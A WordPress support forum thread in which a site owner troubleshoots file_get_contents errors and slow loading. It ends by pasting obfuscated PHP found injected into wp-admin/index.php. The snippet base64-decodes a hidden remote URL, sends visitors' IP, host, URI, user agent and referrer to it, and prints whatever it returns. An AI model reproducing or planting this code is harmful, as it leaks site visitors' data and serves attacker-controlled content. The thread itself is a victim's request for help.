Support » Fixing WordPress » file_get_contents error – Urgent, please help!

  • Typically, on the day we need to go live I am suddenly getting an error in the dashboard and displaying at the bottom of every page! Also, the site is incredibly slow to load:

    The error in the dashboard:
    Warning: file_get_contents( [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 503 Service Temporarily Unavailable in /home/www/ on line 58

    I have tried deleting all my child theme php files, but the problem persists. I am using a custom child theme of Hybrid 0.9

    I only have one plugin – AnythingSlider but am scared to deactivate it and lose all the data. Also, it was working fine until today.

    Hoping someone can help!


Viewing 5 replies - 1 through 5 (of 5 total)
  • esmi


    Forum Moderator

    – deactivating all plugins to see if this resolves the problem. If this works, re-activate the plugins one by one until you find the problematic plugin(s).

    – switching to the Twenty Eleven theme to rule out any theme-specific problems.

    resetting the plugins folder by FTP or PhpMyAdmin. Sometimes, an apparently inactive plugin can still cause problems.

    Yay, it’s gone! Thanks for the tip on checking via FTP @esmi. There was a stray file in there causing the problem.

    Site still slow to load, but must be another issue.

    Oh no, the issue is back after updating Anything Slider! Please help, the site is now live:

    I have no other plugins, and even with the TwentyEleven theme activated I still get the following error in my dashboard and at the bottom of every page. The site is also super slow to load.

    I have now re-installed version of the plugin, but the error remains!:

    Warning: file_get_contents( [function.file-get-contents]: failed to open stream: Connection timed out in /home/www/ on line 18

    Yikes, again think I fixed it…

    Ok, so the original error is back!

    Line 55 in my index.php file under /wp-admin is:

    <?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>

    Same code repeated on line 58 and 59…

    Where has this come from? Should this even be there?!

    Hoping someone can help. Thanks!

Viewing 5 replies - 1 through 5 (of 5 total)
  • The topic ‘file_get_contents error – Urgent, please help!’ is closed to new replies.